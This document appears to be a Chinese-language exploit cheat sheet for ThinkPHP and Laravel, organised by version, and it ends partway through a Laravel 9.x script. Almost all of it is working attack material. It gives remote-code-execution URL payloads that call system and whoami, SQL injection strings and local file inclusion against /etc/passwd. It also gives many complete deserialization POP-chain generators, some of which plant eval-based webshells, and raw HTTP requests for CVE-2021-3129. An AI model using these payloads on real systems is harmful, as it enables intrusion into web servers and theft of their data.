CMS

网站识别:https://www.wappalyzer.com/

Exploit Database: https://www.exploit-db.com/

PHPGGC: https://github.com/ambionics/phpggc


对比源码:diff -r DirA DirB

ThinkPHP

版本

关键字:THINK_VERSION

日志

默认形式:如 /202110/11.log(/年月/日.log)

控制器

驼峰命名法控制器如 M1sakaM1yuu,在ThinkPHP官方文档中,访问的正确方式应该是index/m1saka_m1yuu/index,中间使用下划线隔开,但是兼容了index/M1sakaM1yuu/index这样的访问方式,新官方补丁修复后,不允许路由中存在大写字母。

工具

Lucifer1993/TPscan

theLSA/tp5-getshell

sukabuliet/ThinkphpRCE

bewhale/thinkphp_gui_tools

2.x

  • 2.x

    • RCE

      index.php?s=/index/index/name/${phpinfo()}

3.2.x

日志:<domain>/Application/Runtime/Logs/Home/21_04_27.log

  • 通用

    • SQL注入+文件读取+反序列化

      ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

    • RCE / LFI

      ThinkPHP3.2.x RCE漏洞通报

      如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

      debug模式关

      index.php?m=--><?=phpinfo();?>

      LFI:

      index.php?m=Home&c=Index&a=index&value[filename]=./Application/Runtime/Logs/Home/21_06_30.log

      index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log

      debug模式开

      index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>

      LFI:

      index.php?m=Home&c=Index&a=index&value[filename]=./Application/Runtime/Logs/Home/21_06_30.log

      index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log

      限定条件下参数的收集(替换变量名)

      param/name/value/array/arr/info/list/page/menus/var/data/moudle/module

  • 3.2.3

    • SQL注入

      index.php?m=Home&c=Index&a=index2&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1) %23

      index.php?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1) %23

      index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

      index.php?m=Home&c=Index&a=sqlvul2&order[updatexml(1,concat(0x3a,user()),1)]

    • 变量覆盖

      empty($_content)?include $templateFile:eval('?>'.$_content);

    • 反序列化+SQL注入

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      <?php
      namespace Think\Image\Driver;
      use Think\Session\Driver\Memcache;
      class Imagick{
      private $img;
      public function __construct(){
      $this->img = new Memcache();
      }
      }

      namespace Think\Session\Driver;
      use Think\Model;
      class Memcache {
      protected $handle;
      public function __construct(){
      $this->sessionName=null;
      $this->handle= new Model();
      }
      }

      namespace Think;
      use Think\Db\Driver\Mysql;
      class Model{
      protected $pk;
      protected $options;
      protected $data;
      protected $db;
      public function __construct(){
      $this->options['where']='';
      $this->pk='x';
      $this->data[$this->pk]=array(
      "table"=>"mysql.user where 1=updatexml(1,concat(0x7e,user()),1)#",
      "where"=>"1=1"
      );
      $this->db=new Mysql();
      }
      }
      namespace Think\Db\Driver;
      use PDO;
      class Mysql{
      protected $options ;
      protected $config ;
      public function __construct(){
      $this->options= array(PDO::MYSQL_ATTR_LOCAL_INFILE => true ); // 开启才能读取文件
      $this->config= array(
      "debug" => 1,
      "database" => "mysql",
      "hostname" => "127.0.0.1",
      "hostport" => "3306",
      "charset" => "utf8",
      "username" => "root",
      "password" => "root"
      );
      }
      }

      use Think\Image\Driver\Imagick;
      echo base64_encode(serialize(new Imagick()));

5.0.x

  • 通用

  • 5.0.7<=ver<=5.0.22

    • 未开启强制路由RCE

      ?s=index/think\config/get&name=database.username

      ?s=index/think\config/get&name=database.password

      ?s=index/\think\Lang/load&file=../../test.jpg

      ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

      ?s=index POST: _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

      ?s=index POST: _method=__construct&filter[]=system&method=GET&get[]=whoami

  • <5.0.23

    ThinkPHP 5.0.0~5.0.23 Request类任意方法调用导致RCE漏洞分析

    • RCE

      index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

      index.php?s=captcha POST: _method=__construct&filter[]=system&method=GET&get[]=whoami

      index.php?s=index/index POST: _method=__construct&filter[]=system&method=GET&get[]=whoami

    • 任意文件包含

      index.php?s=captcha POST: _method=__construct&method=GET&filter[]=think__include_file&server[]=1&get[]=/etc/passwd

  • <5.0.12

    • RCE

      index.php?s=index/index POST: _method=__construct&filter[]=system&method=POST&s=whoami

  • 5.0.21-5.0.23

    • RCE

      index.php?s=captcha POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

  • 5.0.24

    • 反序列化

      ThinkPHP v5.0.x 反序列化利用链挖掘

      生成phar:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      96
      97
      98
      99
      100
      101
      102
      103
      104
      105
      106
      107
      108
      109
      110
      111
      112
      113
      114
      115
      116
      117
      118
      119
      120
      121
      122
      123
      124
      125
      <?php
      namespace think\process\pipes {
      class Windows {
      private $files = [];

      public function __construct($files)
      {
      $this->files = [$files];
      }
      }
      }

      namespace think {
      abstract class Model{
      protected $append = [];
      protected $error = null;
      public $parent;

      function __construct($output, $modelRelation)
      {
      $this->parent = $output;
      $this->append = array("xxx"=>"getError");
      $this->error = $modelRelation;
      }
      }
      }

      namespace think\model{
      use think\Model;
      class Pivot extends Model{
      function __construct($output, $modelRelation)
      {
      parent::__construct($output, $modelRelation);
      }
      }
      }

      namespace think\model\relation{
      class HasOne extends OneToOne {

      }
      }
      namespace think\model\relation {
      abstract class OneToOne
      {
      protected $selfRelation;
      protected $bindAttr = [];
      protected $query;
      function __construct($query)
      {
      $this->selfRelation = 0;
      $this->query = $query; //$query指向Query
      $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
      }
      }
      }

      namespace think\db {
      class Query {
      protected $model;

      function __construct($model)
      {
      $this->model = $model; //$this->model=> think\console\Output;
      }
      }
      }
      namespace think\console{
      class Output{
      private $handle;
      protected $styles;
      function __construct($handle)
      {
      $this->styles = ['getAttr'];
      $this->handle =$handle; //$handle->think\session\driver\Memcached
      }

      }
      }
      namespace think\session\driver {
      class Memcached
      {
      protected $handler;

      function __construct($handle)
      {
      $this->handler = $handle; //$handle->think\cache\driver\File
      }
      }
      }

      namespace think\cache\driver {
      class File
      {
      protected $options=null;
      protected $tag;

      function __construct(){
      $this->options=[
      'expire' => 3600,
      'cache_subdir' => false,
      'prefix' => '',
      'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../../../../../../../../../../var/www/html/',
      'data_compress' => false,
      ];
      $this->tag = 'xxx';
      }

      }
      }

      namespace {
      $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
      $Output = new think\console\Output($Memcached);
      $model = new think\db\Query($Output);
      $HasOne = new think\model\relation\HasOne($model);
      $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));

      $phar = new Phar("phar.phar");
      $phar->startBuffering();
      $phar->setStub("<?php __HALT_COMPILER(); ?>");
      $phar->setMetadata($window);
      $phar->addFromString("test.txt", "test");
      $phar->stopBuffering();
      }

5.1.x

  • 通用

    • 未开启强制路由RCE

      ?s=index/\think\Request/input&filter[]=system&data=pwd

      ?s=index/\think\request/input?data[]=-1&filter=phpinfo

      ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>

      ?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?>

      ?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('whoami'); ?>

      ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

      ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

      ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

      ?s=/index/\think\request/cache&key=1|phpinfo

      ?s=/index/\think\request/cache&key=ls|system

    • 任意文件删除

      存在位置:\thinkphp\library\think\process\pipes\Windows.php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      <?php
      namespace think\process\pipes;
      class Pipes {}
      class Windows extends Pipes {
      private $files = [];
      public function __construct() {
      $this->files = ['tmp.txt'];
      }
      }
      echo base64_encode(serialize(new Windows()));
  • 5.1.31

    • RCE

      index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

  • 5.1.38

    • 反序列化

      thinkPHP5.1整理

      index.php?sss=whoami POST: data=xxxxxx

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      <?php
      namespace think;
      abstract class Model{
      protected $append = [];
      private $data = [];
      function __construct(){
      $this->append = ["sss"=>["calc.exe","calc"]];
      $this->data = ["sss"=>new Request()];
      }
      }
      class Request
      {
      protected $hook = [];
      protected $filter = "system";
      protected $config = [
      // 表单ajax伪装变量
      'var_ajax' => '_ajax',
      ];
      function __construct(){
      $this->filter = "system";
      $this->config = ["var_ajax"=>'lin'];
      $this->hook = ["visible"=>[$this,"isAjax"]];
      }
      }


      namespace think\process\pipes;

      use think\model\concern\Conversion;
      use think\model\Pivot;
      class Windows
      {
      private $files = [];

      public function __construct()
      {
      $this->files=[new Pivot()];
      }
      }
      namespace think\model;

      use think\Model;

      class Pivot extends Model
      {
      }
      use think\process\pipes\Windows;
      echo urlencode(serialize(new Windows()));
      ?>

6.0.x

  • 通用

    • 反序列化

      ThinkPHP V6.0.x 反序列化漏洞

      a.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      <?php
      namespace think\model\concern;

      trait Attribute{
      private $data;
      private $withAttr;
      }
      trait ModelEvent{
      protected $withEvent;
      }

      namespace think;

      abstract class Model{
      use model\concern\Attribute;
      use model\concern\ModelEvent;
      private $exists;
      private $force;
      private $lazySave;
      protected $suffix;
      function __construct($a = '')
      {
      $func = function(){phpinfo();};
      $b=\Opis\Closure\serialize($func);
      $this->exists = true;
      $this->force = true;
      $this->lazySave = true;
      $this->withEvent = false;
      $this->suffix = $a;
      $this->data=['x'=>''];

      $c=unserialize($b);
      $this->withAttr=['x'=>$c];
      }
      }

      namespace think\model;
      use think\Model;
      class Pivot extends Model{}
      require 'closure/autoload.php';
      echo urlencode(serialize(new Pivot(new Pivot())));

      b.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      <?php

      namespace think\model\concern;

      trait Attribute
      {
      private $data = ["key" => ["key1" => "whoami"]];
      private $withAttr = ["key"=>["key1"=>"system"]];
      protected $json = ["key"];
      }
      namespace think;

      abstract class Model
      {
      use model\concern\Attribute;
      private $lazySave;
      protected $withEvent;
      private $exists;
      private $force;
      protected $table;
      protected $jsonAssoc;
      function __construct($obj = '')
      {
      $this->lazySave = true;
      $this->withEvent = false;
      $this->exists = true;
      $this->force = true;
      $this->table = $obj;
      $this->jsonAssoc = true;
      }
      }

      namespace think\model;

      use think\Model;

      class Pivot extends Model{}
      $a = new Pivot();
      $b = new Pivot($a);

      echo urlencode(serialize($b));
    • 文件包含

      Thinkphp 多语言功能导致的任意文件包含,版本要求 ThinkPHP v6.0.1 <= v6.0.x <= v6.0.13

      ?lang=../../../../../public/index

      http://tttang.com/archive/1865/

    • 其他

      tp6.0.8反序列化漏洞分析

      a.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      <?php
      namespace League\Flysystem\Cached\Storage;
      abstract class AbstractCache {
      }
      namespace think\cache;
      use think\cache\Driver;
      abstract class Driver {
      }
      namespace think\cache\driver;
      use think\cache\driver;
      class File extends Driver {
      protected $options = [];
      public function __construct() {
      $this->options = [
      'expire' => 0,
      'cache_subdir' => false,
      'prefix' => '',
      'path' => '',
      'hash_type' => 'md5',
      'data_compress' => false,
      'tag_prefix' => 'tag:',
      'serialize'=> ['system']
      ];
      }
      }
      namespace think\filesystem;
      use League\Flysystem\Cached\Storage\AbstractCache;
      class CacheStore extends AbstractCache {
      protected $store;
      protected $key;
      protected $autosave;
      protected $complete;
      public function __construct($store) {
      $this->autosave = false;
      $this->key = "1";
      $this->complete = '`sleep 10`';
      $this->store = $store;
      }
      }
      use think\cache\driver\file;
      $a = new CacheStore(new File());
      echo serialize($a);
      echo "</br>";
      echo urlencode(serialize($a));
      ?>

      b.

      https://www.heibai.org/1604.html
      https://www.cnblogs.com/20175211lyz/p/13639789.html
      https://new.qq.com/omn/20200629/20200629A0RG1800.html

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      <?php
      namespace League\Flysystem\Cached\Storage;
      abstract class AbstractCache {
      }
      namespace think\cache;
      use think\cache\Driver;
      abstract class Driver {
      }
      namespace think\cache\driver;
      use think\cache\driver;
      class File extends Driver {
      protected $options = [];
      public function __construct() {
      $this->options = [
      'expire' => 0,
      'cache_subdir' => false,
      'prefix' => '',
      'path' => 'php://filter/write=convert.base64-
      decode/resource=./',
      'hash_type' => 'md5',
      'data_compress' => false,
      'tag_prefix' => 'tag:',
      'serialize'=> ['trim'] //使用trim去掉[]
      ];
      }
      }
      namespace think\filesystem;
      use League\Flysystem\Cached\Storage\AbstractCache;
      class CacheStore extends AbstractCache {
      protected $store;
      protected $key;
      protected $autosave;
      protected $complete;
      public function __construct($store) {
      $this->autosave = false;
      $this->key = "1";
      $this->complete = 'uuuPDw/cGhwIHBocGluZm8oKTtldmFsKCRfR0VUWzFdKTs/PiA=';
      $this->store = $store;
      }
      }
      use think\cache\driver\file;
      $a = new CacheStore(new File());
      echo serialize($a);
      echo "</br>";
      echo urlencode(serialize($a));
      ?>

      c.

      https://yq1ng.github.io/z_post/ctfshow-thinkphp%E4%B8%93%E9%A2%98/

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      /**
      * @Author ying
      * @Date 8/20/2021 5:01 PM
      * @Version 1.0
      */
      namespace League\Flysystem\Cached\Storage {
      use League\Flysystem\Adapter\Local;
      class Adapter {
      protected $autosave = true;
      protected $expire = null;
      protected $adapter;
      protected $file;
      public function __construct() {
      $this->autosave = false;
      $this->expire = '<?php eval($_POST[1]);?>';
      $this->adapter = new Local();
      $this->file = 'yq1ng.php';
      }
      }
      }
      namespace League\Flysystem\Adapter {
      class Local {
      }
      }
      namespace {
      use League\Flysystem\Cached\Storage\Adapter;
      echo urlencode(serialize(new Adapter()));
      }

Laravel

版本

vendor/laravel/framework/src/Illuminate/Foundation/Application.php

5.1

  • 5.1.x

    • 反序列化+RCE

      a.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      <?php
      namespace{
      use Mockery\Generator\DefinedTargetClass;
      class Swift_KeyCache_DiskKeyCache{
      private $_keys=['bit'=>array('bit'=>'bit')];
      private $_path;
      public function __construct($cmd){
      $this->_path=new DefinedTargetClass($cmd);
      }
      }
      echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache($argv[1])));
      }
      namespace Mockery\Generator{
      use Faker\ValidGenerator;
      class DefinedTargetClass
      {
      private $rfc;
      public function __construct($cmd)
      {
      $this->rfc=new ValidGenerator($cmd);
      }
      }
      }
      namespace Faker{
      class DefaultGenerator{
      protected $default;
      public function __construct($cmd)
      {
      $this->default = $cmd;
      }
      }
      class ValidGenerator
      {
      protected $generator;
      protected $validator;
      protected $maxRetries;
      public function __construct($cmd){
      $this->generator=new DefaultGenerator($cmd);
      $this->maxRetries=9;
      $this->validator='system';
      }
      }
      }

      b.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      <?php
      namespace{
      use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
      class Swift_KeyCache_DiskKeyCache{
      private $_keys=['bit'=>array('bit'=>'bit')];
      private $_path;
      public function __construct($cmd){
      $this->_path=new Deprecated($cmd);
      }
      }
      echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache($argv[1])));
      }
      namespace phpDocumentor\Reflection\DocBlock\Tags{
      use Illuminate\Database\DatabaseManager;
      abstract class BaseTag{
      protected $description;
      }
      final class Deprecated extends BaseTag{
      public function __construct($cmd){
      $this->description=new DatabaseManager($cmd);
      }
      }
      }
      namespace Illuminate\Database{
      class DatabaseManager{
      protected $app;
      protected $extensions ;
      public function __construct($cmd)
      {
      $this->app['config']['database.default']=$cmd;
      $this->app['config']['database.connections']=array($cmd=>'system');
      $this->extensions[$cmd]='call_user_func';
      }
      }
      }

      c.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      <?php
      namespace{
      use Prophecy\Argument\Token\ObjectStateToken;
      class Swift_KeyCache_DiskKeyCache{
      private $_keys=['bit'=>array('bit'=>'bit')];
      private $_path;
      public function __construct($cmd){
      $this->_path=new ObjectStateToken($cmd);
      }
      }
      echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache($argv[1])));
      }
      namespace Prophecy\Argument\Token{
      use Mockery\Generator\MockDefinition;
      use Illuminate\Validation\Validator;
      class ObjectStateToken{
      private $name;
      private $value;
      private $util;
      public function __construct($cmd){
      $this->name='bit';
      $this->value=new MockDefinition($cmd);
      $this->util=new Validator();
      }
      }
      }

      namespace Illuminate\Validation{
      use Faker\DefaultGenerator;
      class Validator{
      protected $container;
      protected $extensions = [];
      public function __construct(){
      $this->extensions['y']='xxx@load';
      $this->container=new DefaultGenerator();
      }
      }
      }
      namespace Faker{
      use Mockery\Loader\EvalLoader;
      class DefaultGenerator
      {
      protected $default;

      public function __construct()
      {
      $this->default = new EvalLoader();
      }
      }
      }
      namespace Mockery\Loader{
      class EvalLoader{}
      }
      namespace Mockery\Generator{
      use Illuminate\Session\Store;
      class MockDefinition{
      protected $config;
      protected $code;
      public function __construct($cmd){
      $this->config=new Store();
      $this->code=$cmd;
      }
      }
      }
      namespace Illuminate\Session{
      class Store{
      protected $name='bit';//类不存在就行
      }
      }

5.4.x

  • 5.4.30

    • 反序列化(5.4-5.8)

      Laravel5.4 反序列化漏洞挖掘

      a.

      Illuminate/Support/Manager.php::__call -> driver() -> Illuminate/Notifications/ChannelManager.php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      <?php
      namespace Illuminate\Broadcasting
      {
      use Illuminate\Notifications\ChannelManager;
      class PendingBroadcast
      {
      protected $events;

      public function __construct($cmd)
      {
      $this->events = new ChannelManager($cmd);
      }
      }
      echo base64_encode(serialize(new PendingBroadcast($argv[1])));
      }


      namespace Illuminate\Notifications
      {
      class ChannelManager
      {
      protected $app;
      protected $defaultChannel;
      protected $customCreators;

      public function __construct($cmd)
      {
      $this->app = $cmd;
      $this->customCreators = ['x' => 'system'];
      $this->defaultChannel = 'x';
      }
      }
      }

      b.

      Illuminate/Validation/Validator.php::__call

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      <?php
      namespace Illuminate\Broadcasting
      {
      use Illuminate\Validation\Validator;
      class PendingBroadcast
      {
      protected $events;
      protected $event;
      public function __construct($cmd)
      {
      $this->events = new Validator();
      $this->event=$cmd;
      }
      }
      echo base64_encode(serialize(new PendingBroadcast($argv[1])));
      }


      namespace Illuminate\Validation
      {
      class Validator
      {
      public $extensions = [''=>'system'];
      }
      }

      c.

      Illuminate/Events/Dispatcher.php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      <?php
      namespace Illuminate\Broadcasting
      {
      use Illuminate\Events\Dispatcher;
      class PendingBroadcast
      {
      protected $events;
      protected $event;
      public function __construct($cmd)
      {
      $this->events = new Dispatcher($cmd);
      $this->event=$cmd;
      }
      }
      echo base64_encode(serialize(new PendingBroadcast($argv[1])));
      }


      namespace Illuminate\Events
      {
      class Dispatcher
      {
      protected $listeners;
      public function __construct($event){
      $this->listeners=[$event=>['system']];
      }
      }
      }

      d.

      Illuminate/Bus/Dispatcher.php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      <?php
      namespace Illuminate\Bus{
      class Dispatcher{
      protected $queueResolver;

      public function __construct(){
      $this->queueResolver = "system";
      }
      }
      }
      namespace Illuminate\Broadcasting{
      use Illuminate\Bus\Dispatcher;
      class BroadcastEvent{
      public $connection;

      public function __construct($cmd){
      $this->connection = $cmd;
      }
      }
      class PendingBroadcast{
      protected $events;
      protected $event;

      public function __construct($event){
      $this->events = new Dispatcher();
      $this->event = new BroadcastEvent($event);
      }
      }
      echo base64_encode(serialize(new PendingBroadcast($argv[1])));
      }
      ?>

      e.

      Mockery/Loader/EvalLoader.php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      <?php
      namespace Illuminate\Bus{
      use Mockery\Loader\EvalLoader;
      class Dispatcher{
      protected $queueResolver;

      public function __construct(){
      $this->queueResolver = [new EvalLoader(),'load'];
      }
      }
      }
      namespace Illuminate\Broadcasting{
      use Illuminate\Bus\Dispatcher;
      use Mockery\Generator\MockDefinition;
      class BroadcastEvent{
      public $connection;

      public function __construct($code){
      $this->connection = new MockDefinition($code);
      }
      }
      class PendingBroadcast{
      protected $events;
      protected $event;

      public function __construct($event){
      $this->events = new Dispatcher();
      $this->event = new BroadcastEvent($event);
      }
      }
      echo base64_encode(serialize(new PendingBroadcast($argv[1])));
      }
      namespace Mockery\Loader{
      class EvalLoader{}
      }
      namespace Mockery\Generator{
      use Illuminate\Session\Store;
      class MockDefinition{
      protected $config;
      protected $code;
      public function __construct($code){
      $this->config=new Store();
      $this->code=$code;
      }
      }
      }
      namespace Illuminate\Session{
      class Store{
      protected $name='x';//类不存在
      }
      }
      ?>

5.7.x

  • 5.7.29

    • 反序列化+RCE

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      //不用PendingCommand.php
      <?php
      namespace Symfony\Component\Routing\Loader\Configurator {
      class ImportConfigurator
      {
      private $parent;
      public function __construct($parent)
      {
      $this->parent = $parent;
      }
      }
      }

      namespace Faker {
      class DefaultGenerator{
      protected $default;
      public function __construct($default)
      {
      $this->default = $default;
      }
      public function __call($method, $attributes)
      {
      return $this->default;
      }
      }
      class ValidGenerator
      {
      protected $generator;
      protected $validator;
      protected $maxRetries;
      public function __construct($validator,$generator)
      {
      $this->generator = new DefaultGenerator($generator);
      $this->validator = $validator;
      $this->maxRetries = 1;
      }

      public function __call($name, $arguments)
      {
      $i = 0;
      do {
      $res = call_user_func_array(array($this->generator, $name), $arguments);
      $i++;
      if ($i > $this->maxRetries) {
      throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
      }
      } while (!call_user_func($this->validator, $res));

      return $res;
      }
      }
      }

      namespace {
      $a = new Faker\ValidGenerator("system","cat /flag");
      $b = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a);
      echo urlencode(serialize($b));
      }

7.x

  • 7.30

    • 反序列化+RCE

      a.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      <?php
      namespace Illuminate\Routing{
      use Illuminate\Validation\Validator;
      class PendingResourceRegistration
      {
      protected $registrar;
      protected $registered = false;
      protected $name='call_user_func';
      protected $controller='system';
      protected $options;
      public function __construct($cmd){
      $this->registrar=new Validator();
      $this->options=$cmd;
      }
      }
      echo urlencode(serialize(new PendingResourceRegistration($argv[1])));
      }
      namespace Illuminate\Validation{
      class Validator{
      public $extensions = [];
      public function __construct(){
      $this->extensions['']='call_user_func';
      }
      }
      }

      b.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      <?php
      namespace Illuminate\Routing{
      use Illuminate\View\InvokableComponentVariable;
      class PendingResourceRegistration
      {
      protected $registrar;
      protected $registered = false;
      public function __construct(){
      $this->registrar=new InvokableComponentVariable();
      }
      }
      echo urlencode(serialize(new PendingResourceRegistration()));
      }
      namespace Illuminate\View{
      use PHPUnit\Framework\MockObject\MockClass;
      class InvokableComponentVariable{
      protected $callable;
      public function __construct(){
      $this->callable=array(new MockClass(),'generate');
      }
      }
      }
      namespace PHPUnit\Framework\MockObject{
      class MockClass{
      private $classCode;
      private $mockName;
      private $configurableMethods;
      public function __construct(){
      $this->classCode='eval($_POST["cmd"]);';
      $this->mockName='bit';
      $this->configurableMethods='bit';
      }
      }
      }

8.x

  • 8.26.1

    • RCE

      CVE-2021-3129

      当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      POST /_ignition/execute-solution HTTP/1.1
      Host: 192.168.160.130:8077
      Content-Type: application/json
      Content-Length: 168
      {
      "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
      "parameters": {
      "variableName": "username",
      "viewFile": "xxxxxxx"
      }
      }

      页面出现了Ignition的报错,说明漏洞存在,且开启了debug模式。

      使用如下数据包清除日志文件:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      POST /_ignition/execute-solution HTTP/1.1
      Host: 192.168.160.130:8077
      Content-Type: application/json
      Content-Length: 328
      {
      "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
      "parameters": {
      "variableName": "username",
      "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
      }
      }

9.x

  • 9.1.8

    • 反序列化+RCE

      https://github.com/1nhann/vulns/issues

      a.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      <?php
      namespace Illuminate\Contracts\Queue{
      interface ShouldQueue
      {
      }
      }

      namespace Illuminate\Bus{
      class Dispatcher{
      protected $container;
      protected $pipeline;
      protected $pipes = [];
      protected $handlers = [];
      protected $queueResolver;
      function __construct()
      {
      $this->queueResolver = "system";
      }
      }
      }

